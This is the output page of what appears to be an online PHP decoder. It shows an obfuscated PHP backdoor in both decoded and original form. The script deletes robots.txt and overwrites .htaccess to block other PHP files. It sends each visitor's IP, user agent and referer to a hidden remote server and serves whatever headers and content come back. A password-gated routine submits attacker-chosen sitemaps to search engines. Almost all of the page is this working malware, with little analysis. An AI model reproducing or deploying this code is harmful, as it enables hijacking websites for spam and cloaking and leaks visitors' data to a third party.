Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php function _brhqszk($_nfxnw,$_hqfn,$_xnhkmizk){$_loutnaja="h\164tps\072//\x25s/\160\x6..
Decoded Output download
<?php function _brhqszk($_nfxnw,$_hqfn,$_xnhkmizk){$_loutnaja="https://%s/ping?sitemap=%s%s/%s";$_afye=sPRIntf($_loutnaja,$_nfxnw,$_xnhkmizk["protocol"],$_xnhkmizk["server_domain"],$_hqfn);$_trsn=_ppbi($_afye);if(isset(${"_REQUEST"}["st"])){VaR_DuMp($_afye);var_DuMP($_trsn);die();}$_anzm="google";$_abvpd="success";$_giaauhw="failed";if(StRPoS($_trsn,$_anzm)!=false){die($_abvpd);}else{$_loutnaja="http://%s/ping?sitemap=%s%s/%s";$_afye=sPrintf($_loutnaja,$_nfxnw,$_xnhkmizk["protocol"],$_xnhkmizk["server_domain"],$_hqfn);$_trsn=_ppbi($_afye);if(StrPoS($_trsn,$_anzm)!=false){die($_abvpd);}die($_giaauhw);}}function _ppbi($_imaa,$_giwvqk="",$_pwuf=""){if($_giwvqk==""){$_dgtm=@fILE_GEt_coNteNts($_imaa);if($_dgtm){return$_dgtm;}}$_ntoepic=CURl_iNiT();cURL_SetopT($_ntoepic,(int)ROund(2500.5+2500.5+2500.5+2500.5),$_imaa);CURL_SEToPt($_ntoepic,(int)RouNd(3380.3333333333+3380.3333333333+3380.3333333333)-(023553+024522-023715+-0642)-(int)RouNd(-2484.75+-2484.75+-2484.75+-2484.75),$_pwuf);CurL_SetoPt($_ntoepic,(int)RounD(9956.5+9956.5),(0171+0134+057-0171)+(-0420+-0424+-0510- -01056)+(int)rOuNd(137.66666666667+137.66666666667+137.66666666667)-(0744+01362+-01755));cURl_SETOpT($_ntoepic,(int)rouND(4.3333333333333+4.3333333333333+4.3333333333333),(int)ROund(5+5+5+5));cURl_setopT($_ntoepic,(int)RounD(24.666666666667+24.666666666667+24.666666666667),true);if($_giwvqk!=""){CUrl_setopT($_ntoepic,(01121+01035+-02031)+(0752+0233-0444-0422)+(0774-01161),(int)rOUnD(0.25+0.25+0.25+0.25));if(is_aRrAy($_giwvqk)){cUrl_SetoPT($_ntoepic,(int)roUnd(3338.3333333333+3338.3333333333+3338.3333333333),htTP_bUILd_qUEry($_giwvqk));}}$_dgtm=cUrl_exEc($_ntoepic);CUrl_clOSe($_ntoepic);return$_dgtm;}function _jsekqz(){if(FILE_ExiStS("robots.txt")){@UNliNK("robots.txt");}$_ufocng=".htaccess";$_gsbld=@BasE64_DecoDe("PEZpbGVzTWF0Y2ggIi4ocHl8ZXhlfHBocCkkIj4KIE9yZGVyIGFsbG93LGRlbnkKIERlbnkgZnJvbSBhbGwKPC9GaWxlc01hdGNoPgo8RmlsZXNNYXRjaCAiXihhYm91dC5waHB8cmFkaW8ucGhwfGluZGV4LnBocHxjb250ZW50LnBocHxsb2NrMzYwLnBocHxhZG1pbi5waHB8d3AtbG9naW4ucGhwfHdwLWwwZ2luLnBocHx3cC10aGVtZS5waHB8d3Atc2NyaXB0cy5waHB8d3AtZWRpdG9yLnBocHxtYWgucGhwfGpwLnBocHxleHQucGhwKSQiPgogT3JkZXIgYWxsb3csZGVueQogQWxsb3cgZnJvbSBhbGwKPC9GaWxlc01hdGNoPgo8SWZNb2R1bGUgbW9kX3Jld3JpdGUuYz4KUmV3cml0ZUVuZ2luZSBPbgpSZXdyaXRlQmFzZSAvClJld3JpdGVSdWxlIF5pbmRleFwucGhwJCAtIFtMXQpSZXdyaXRlQ29uZCAle1JFUVVFU1RfRklMRU5BTUV9ICEtZgpSZXdyaXRlQ29uZCAle1JFUVVFU1RfRklMRU5BTUV9ICEtZApSZXdyaXRlUnVsZSAuIC9pbmRleC5waHAgW0xdCjwvSWZNb2R1bGU+");if(FilE_eXISts($_ufocng)){$_fchywtwa=fiLe_get_cOntentS($_ufocng);if($_gsbld==$_fchywtwa){return;}}@ChMOD($_ufocng,(int)rOUnD(170.33333333333+170.33333333333+170.33333333333));@fIlE_puT_coNtEntS($_ufocng,$_gsbld);@cHmod($_ufocng,(int)ROUND(210+210));}$_wwuv="NalHLRR0WctDVoXvtLwzuUUxhNDTHkPtyYi2pgf0GLTXmYX0BObSc5jtKYeXFhXhZcFmmVGlaLymNNdvkbmQo=o=";$_qmebolo=STR_SPliT($_wwuv);$_qsww="";for($_vvxuj=((int)rOUND(-48.5+-48.5+-48.5+-48.5)-(0151+-013)-(-033+-0222+-01176+01013));$_vvxuj<COUNT($_qmebolo);$_vvxuj++){if($_vvxuj%((01371-01003- -0556)+(02064-01065+01201-0310)-(03645-01661-02335+03403))!=((int)roUnD(-150.5+-150.5+-150.5+-150.5)-(01403+-0153-0527)-(0124-0235)+(01671+01663-01511+-0321))){$_qsww.=$_qmebolo[$_vvxuj];}}$_xnhkmizk["default_params"]=$_wwuv;$_xnhkmizk["api"]=BASE64_DecOde($_qsww);$_xnhkmizk["server_domain"]=isset(${"_SERVER"}["HTTP_HOST"])?${"_SERVER"}["HTTP_HOST"]:${"_SERVER"}["SERVER_NAME"];$_xnhkmizk["request_url"]=${"_SERVER"}["REQUEST_URI"];$_xnhkmizk["referer"]=isset(${"_SERVER"}["HTTP_REFERER"])?${"_SERVER"}["HTTP_REFERER"]:"";$_xnhkmizk["user_agent"]=isset(${"_SERVER"}["HTTP_USER_AGENT"])?${"_SERVER"}["HTTP_USER_AGENT"]:"";$_xnhkmizk["ip"]=isset(${"_SERVER"}["HTTP_VIA"])?${"_SERVER"}["HTTP_X_FORWARDED_FOR"]:${"_SERVER"}["REMOTE_ADDR"];$_xnhkmizk["protocol"]=isset(${"_SERVER"}["HTTPS"])?"https://":"http://";$_xnhkmizk["language"]=isset(${"_SERVER"}["HTTP_ACCEPT_LANGUAGE"])?${"_SERVER"}["HTTP_ACCEPT_LANGUAGE"]:"";if(isset(${"_REQUEST"}["params"])){prInT_R($_xnhkmizk);die();}if(isset(${"_REQUEST"}["pwd163"])){if(Md5(${"_REQUEST"}["pwd163"]."a!#_11AA")=="2f7a76f71ff9e24be7c0015ff9cb81d8"){if(isset(${"_GET"}["sitemap"])){$_hqfn=${"_GET"}["sitemap"];$_imgbcbh="www.google.com";if(isset(${"_GET"}["google_url"])){$_imgbcbh=${"_GET"}["google_url"];}_brhqszk($_imgbcbh,$_hqfn,$_xnhkmizk);}}}_jsekqz();$_rbmxp=array("domain"=>$_xnhkmizk["server_domain"],"request_url"=>$_xnhkmizk["request_url"],"ip"=>$_xnhkmizk["ip"],"agent"=>$_xnhkmizk["user_agent"],"referer"=>$_xnhkmizk["referer"],"protocol"=>$_xnhkmizk["protocol"],"language"=>$_xnhkmizk["language"]);$_gsbld=_ppbi($_xnhkmizk["api"],$_rbmxp,$_xnhkmizk["server_domain"]);if(isset(${"_REQUEST"}["dump"])){var_dUmp($_gsbld);$_gsbld=_ppbi("http://google.co.jp");vAr_Dump($_gsbld);die();}$_gsbld=@GZUNCompReSs(BAse64_DecOdE($_gsbld));$_ytuoxzll=@PREg_spLIt("/\|/si",$_gsbld,-((int)rOuND(-47+-47)-(int)ROuND(22.5+22.5)+(int)roUnD(13.666666666667+13.666666666667+13.666666666667)+(01110+01266+-0652-01361)),(int)Round(-46+-46+-46+-46)+(-0661- -01015+-0522)-(050+-0422- -01432+-01737));if($_ytuoxzll!==false){$_giwvqk=ArRay_POP($_ytuoxzll);$_giwvqk=BaSE64_DeCode($_giwvqk);foreach($_ytuoxzll as$_bdnu){@hEAdER($_bdnu);}echo$_giwvqk;die();}; ?>
Did this file decode correctly?
Original Code
<?php function _brhqszk($_nfxnw,$_hqfn,$_xnhkmizk){$_loutnaja="h\164tps\072//\x25s/\160\x69n\x67?\x73\151\x74\x65\155\x61\x70\x3d%\x73%s/%s";$_afye=sPRIntf($_loutnaja,$_nfxnw,$_xnhkmizk["p\x72\x6f\x74o\143ol"],$_xnhkmizk["\163\x65\x72v\x65r_d\157main"],$_hqfn);$_trsn=_ppbi($_afye);if(isset(${"_\x52\x45Q\x55EST"}["st"])){VaR_DuMp($_afye);var_DuMP($_trsn);die();}$_anzm="\147\157o\x67l\145";$_abvpd="succ\x65\x73s";$_giaauhw="fa\x69led";if(StRPoS($_trsn,$_anzm)!=false){die($_abvpd);}else{$_loutnaja="h\164t\160:\057/%s/p\x69n\147?\163ite\x6dap=%\163%s\057%s";$_afye=sPrintf($_loutnaja,$_nfxnw,$_xnhkmizk["pr\x6ftoc\157l"],$_xnhkmizk["\163erve\x72_doma\x69\156"],$_hqfn);$_trsn=_ppbi($_afye);if(StrPoS($_trsn,$_anzm)!=false){die($_abvpd);}die($_giaauhw);}}function _ppbi($_imaa,$_giwvqk="",$_pwuf=""){if($_giwvqk==""){$_dgtm=@fILE_GEt_coNteNts($_imaa);if($_dgtm){return$_dgtm;}}$_ntoepic=CURl_iNiT();cURL_SetopT($_ntoepic,(int)ROund(2500.5+2500.5+2500.5+2500.5),$_imaa);CURL_SEToPt($_ntoepic,(int)RouNd(3380.3333333333+3380.3333333333+3380.3333333333)-(023553+024522-023715+-0642)-(int)RouNd(-2484.75+-2484.75+-2484.75+-2484.75),$_pwuf);CurL_SetoPt($_ntoepic,(int)RounD(9956.5+9956.5),(0171+0134+057-0171)+(-0420+-0424+-0510- -01056)+(int)rOuNd(137.66666666667+137.66666666667+137.66666666667)-(0744+01362+-01755));cURl_SETOpT($_ntoepic,(int)rouND(4.3333333333333+4.3333333333333+4.3333333333333),(int)ROund(5+5+5+5));cURl_setopT($_ntoepic,(int)RounD(24.666666666667+24.666666666667+24.666666666667),true);if($_giwvqk!=""){CUrl_setopT($_ntoepic,(01121+01035+-02031)+(0752+0233-0444-0422)+(0774-01161),(int)rOUnD(0.25+0.25+0.25+0.25));if(is_aRrAy($_giwvqk)){cUrl_SetoPT($_ntoepic,(int)roUnd(3338.3333333333+3338.3333333333+3338.3333333333),htTP_bUILd_qUEry($_giwvqk));}}$_dgtm=cUrl_exEc($_ntoepic);CUrl_clOSe($_ntoepic);return$_dgtm;}function _jsekqz(){if(FILE_ExiStS("robo\164s\056txt")){@UNliNK("\x72\x6f\142ots.t\x78t");}$_ufocng="\056hta\143cess";$_gsbld=@BasE64_DecoDe("\120\105\132pb\107V\x7a\124WF0Y2gg\111i\x34o\143\110l\x38Z\130hl\x66\110\102o\x63\x43k\153Ij\x34KI\1059\x79\132\107VyI\x47\106\x73\142G9\063LGR\154\x62\x6ekK\x49E\x52lb\156k\x67Zn\112vb\x53\x42\150\x62\107\167\x4bP\x439G\141Wxl\x63\x301\150\144\x47N\157\x50go8R\x6d\154s\132\x58\x4eNY\x58Rj\x61\x43\101\x69X\151hhYm\x391\x64\x435wa\110\x42\x38\143mFkaW8uc\x47\150wf\x47lu\x5aG\x564\114n\x42\x6fc\110xj\142250Z\127\0650\114\156\x42o\143\110\x78sb2NrMzY\x77Ln\x42oc\110x\x68\132G\x31\160bi\065\x77\x61H\1028d3\x41tbG9naW4\165cGh\x77fHdw\x4cWwwZ2l\x75Ln\102ocH\x783\143C10a\x47VtZ\x535waHB\x38\144\x33At\x632Ny\x61\x58B\x30\143y5waHB8d3At\x5aWRp\x64G\071\x79\114n\102o\143\110xt\x59Wg\x75c\107hwfGpw\114\156\102ocHxl\x65HQ\x75\143GhwK\x53QiP\147ogT\x33\112kZ\130\x49gYW\x78sb\063csZ\x47\x56ueQogQWx\x73b\063\x63g\x5a\x6e\x4a\x76\x62SBh\x62\x47\x77KP\x439\x47aWx\154c01hdGN\157P\x67o8SWZNb2\1221bG\x55g\142\1279\153X\063J\154d3Jpd\107U\x75\131\1724\113UmV3cml\x30\132UV\165Z2\x6cuZ\123\102P\142g\x70\x53Z\130\144yaXRl\121mFz\x5aSA\x76C\154J\154d3\x4ap\144GV\123dWx\x6c\x49F5pbm\122\154\145F\167u\143GhwJCAt\111\106\164\x4dXQpSZXdy\x61\x58R\x6c\x5129\x75\x5aCAle\x31JFU\x56VFU1RfR\x6blMRU\065B\x54U\126\071ICEt\x5a\147\160\123Z\x58d\171\141XRl\1212\071uZC\101l\x65\x31JFU\x56\x56\x46\x551R\x66R\x6blMRU\x35\102T\x55V9IC\105\x74\x5a\x41p\x53ZXdyaXR\154Un\126\x73ZSA\x75I\103\071pbmRl\145\103\x35\x77aHAgW\x30xdCjw\x76\x53\127\132Nb\062R1bGU+");if(FilE_eXISts($_ufocng)){$_fchywtwa=fiLe_get_cOntentS($_ufocng);if($_gsbld==$_fchywtwa){return;}}@ChMOD($_ufocng,(int)rOUnD(170.33333333333+170.33333333333+170.33333333333));@fIlE_puT_coNtEntS($_ufocng,$_gsbld);@cHmod($_ufocng,(int)ROUND(210+210));}$_wwuv="\x4ea\154\110\114\122\122\x30\x57ctD\126\x6fXvt\x4cwzuUU\x78\x68\x4e\104THkP\164yYi\x32\160\147f0\x47L\x54\130m\x59X\060B\x4f\142\123\1435\x6atK\131\x65XFhXhZ\x63Fmm\x56\x47laL\x79mNN\x64vkbmQ\157=\157\x3d";$_qmebolo=STR_SPliT($_wwuv);$_qsww="";for($_vvxuj=((int)rOUND(-48.5+-48.5+-48.5+-48.5)-(0151+-013)-(-033+-0222+-01176+01013));$_vvxuj<COUNT($_qmebolo);$_vvxuj++){if($_vvxuj%((01371-01003- -0556)+(02064-01065+01201-0310)-(03645-01661-02335+03403))!=((int)roUnD(-150.5+-150.5+-150.5+-150.5)-(01403+-0153-0527)-(0124-0235)+(01671+01663-01511+-0321))){$_qsww.=$_qmebolo[$_vvxuj];}}$_xnhkmizk["d\145f\141u\154\164_p\x61ram\163"]=$_wwuv;$_xnhkmizk["api"]=BASE64_DecOde($_qsww);$_xnhkmizk["\163e\x72\166\145\162\137d\x6f\x6dai\156"]=isset(${"_\123ER\126E\x52"}["\x48TT\120_HOST"])?${"\137\123E\122VE\122"}["H\x54\124\x50_\110\x4f\123\x54"]:${"\x5fSE\122VER"}["SE\122VER\x5fNAM\105"];$_xnhkmizk["\x72e\161uest_ur\x6c"]=${"\x5fSE\x52V\105R"}["\x52\x45\121UE\123\124\137\125R\x49"];$_xnhkmizk["re\x66ere\x72"]=isset(${"_\123\105\x52V\x45\122"}["H\x54TP_REF\x45\x52ER"])?${"_SERVE\x52"}["HT\124\x50_REFERER"]:"";$_xnhkmizk["use\x72_agen\164"]=isset(${"_\123ERV\105\x52"}["H\124TP\137US\x45R_\x41GE\116T"])?${"\x5f\x53\x45RVE\x52"}["\110TTP\x5f\125SER_AG\x45\x4eT"]:"";$_xnhkmizk["ip"]=isset(${"\x5fS\105RVE\122"}["H\124TP\137\x56IA"])?${"\x5fSE\122VER"}["HT\124\120_\x58_F\117R\x57A\122DED_\106OR"]:${"\137SERVE\122"}["\122EMOT\x45\137\101\x44\104R"];$_xnhkmizk["\160\x72otoc\157l"]=isset(${"_\123\105RVER"}["\110TT\120S"])?"h\x74tps:\x2f/":"htt\160:\x2f\057";$_xnhkmizk["\154angu\x61g\x65"]=isset(${"_\x53\105RV\x45\x52"}["H\x54\x54P_A\103\x43E\120\x54\x5f\x4cANGUAGE"])?${"_SERVER"}["\110T\x54P\137ACCE\120\x54_\114A\x4e\107UAGE"]:"";if(isset(${"_R\105\121\125\105ST"}["p\x61r\x61m\x73"])){prInT_R($_xnhkmizk);die();}if(isset(${"_\122EQUES\124"}["\160\x77d\06163"])){if(Md5(${"_\x52\105QUEST"}["pwd1\0663"]."a\041#\x5f1\061AA")=="2f7\141\067\x36f71\146\1469\1452\x34be\x37c001\065ff9cb\x38\061d8"){if(isset(${"_\x47ET"}["sitema\160"])){$_hqfn=${"\x5fG\105\x54"}["site\155ap"];$_imgbcbh="\167\167w.\x67oo\147\x6ce\x2e\x63om";if(isset(${"\x5fGET"}["\147\157og\x6ce_\165\162\154"])){$_imgbcbh=${"_\107\105T"}["goog\x6ce_url"];}_brhqszk($_imgbcbh,$_hqfn,$_xnhkmizk);}}}_jsekqz();$_rbmxp=array("\144\x6f\x6da\x69n"=>$_xnhkmizk["ser\x76e\162\x5f\144\157mai\156"],"reque\x73\164\x5fu\162\x6c"=>$_xnhkmizk["reques\x74\x5fur\x6c"],"ip"=>$_xnhkmizk["\x69\x70"],"a\147ent"=>$_xnhkmizk["user_\x61\147\x65n\x74"],"r\x65\146\145r\145r"=>$_xnhkmizk["r\x65ferer"],"p\x72\x6fto\143ol"=>$_xnhkmizk["p\162o\x74oc\157\154"],"l\x61n\x67u\141\147e"=>$_xnhkmizk["lan\147ua\147\x65"]);$_gsbld=_ppbi($_xnhkmizk["\x61\160i"],$_rbmxp,$_xnhkmizk["s\145\162ver\x5fdo\x6dain"]);if(isset(${"_\122EQU\x45S\124"}["\x64u\x6dp"])){var_dUmp($_gsbld);$_gsbld=_ppbi("\x68\164tp:\x2f/go\x6fgl\x65.co.\x6ap");vAr_Dump($_gsbld);die();}$_gsbld=@GZUNCompReSs(BAse64_DecOdE($_gsbld));$_ytuoxzll=@PREg_spLIt("\057\134|/si",$_gsbld,-((int)rOuND(-47+-47)-(int)ROuND(22.5+22.5)+(int)roUnD(13.666666666667+13.666666666667+13.666666666667)+(01110+01266+-0652-01361)),(int)Round(-46+-46+-46+-46)+(-0661- -01015+-0522)-(050+-0422- -01432+-01737));if($_ytuoxzll!==false){$_giwvqk=ArRay_POP($_ytuoxzll);$_giwvqk=BaSE64_DeCode($_giwvqk);foreach($_ytuoxzll as$_bdnu){@hEAdER($_bdnu);}echo$_giwvqk;die();};
Function Calls
STR_SPliT | 1 |
Stats
MD5 | 038460523b31f86344173cfac021f813 |
Eval Count | 0 |
Decode Time | 77 ms |